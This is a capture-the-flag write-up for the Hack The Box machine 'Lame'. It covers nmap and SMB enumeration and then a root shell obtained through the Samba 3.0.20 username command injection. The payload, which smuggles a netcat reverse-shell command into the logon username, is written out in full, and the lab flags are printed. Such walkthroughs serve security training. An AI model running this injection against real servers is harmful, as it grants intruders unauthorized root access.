

# Lame

- `nmap`

```
(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -sC -A 10.10.10.3
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-28 15:01 EDT
Nmap scan report for 10.10.10.3
Host is up (0.29s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.10.14.91
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at
Aggressive OS guesses: Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.3
DRAC5) (90%), Dell Integrated Remote Access Controller (iDRAC6) (90%),
nServer 5.5 (Linux 2.6.18) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

- **Port 21** which running **ftp server** using **vsftpd 2.3.4** . After discovered, the target is not vulnerable on port 21
- **Port 22** we can access this port but we didn't have the password. so try another port
- **Port 139, 445 SMB** connect to **smb server** using tools called **smbclient**

```
(kali@kali)-[~]
$ smbclient -L 10.10.10.3
Password for [WORKGROUP\kali]:
Anonymous login successful
```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
tmp	Disk	oh noes!
opt	Disk	
IPC\$	IPC	IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN\$	IPC	IPC Service (lame server (Samba 3.0.20-Debian))

```
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
```

Server	Comment
Workgroup	Master
WORKGROUP	LAME

- We have a tmp folder look interesting. So we discovered the permission for the drives

```
(kali@kali)-[~]
$ smbmap -H 10.10.10.3
```

SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com  
<https://github.com/ShawnDEvans/smbmap>

```
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.
```

- Have the read/write access to tmp folder. After googled, we found that is a vulnerability which we could inject a reverse shell to the username

```

(kali㉿kali)-[~]
$ smbclient -N //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=nc 10.10.14.91 9009 -e /bin/sh`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>

```

- Executed the shell, use logon command which is part of smbclient tool. Its used to establish a new void for this session by logging on again
- Open the nc listener and we have our shell as the root so we can access the `user.txt` and `root.txt`

```

(kali㉿kali)-[~]
$ nc -nlvp 9009
listening on [any] 9009 ...
connect to [10.10.14.91] from (UNKNOWN) [10.10.10.3] 53261
/bin/bash -i
whoami
root
cat /home/makis/user.txt
2c801276550bfb4a6a1920070ecd4165
cat /root/root.txt
2ccba0736def5c4ed1bdd9e930788278

```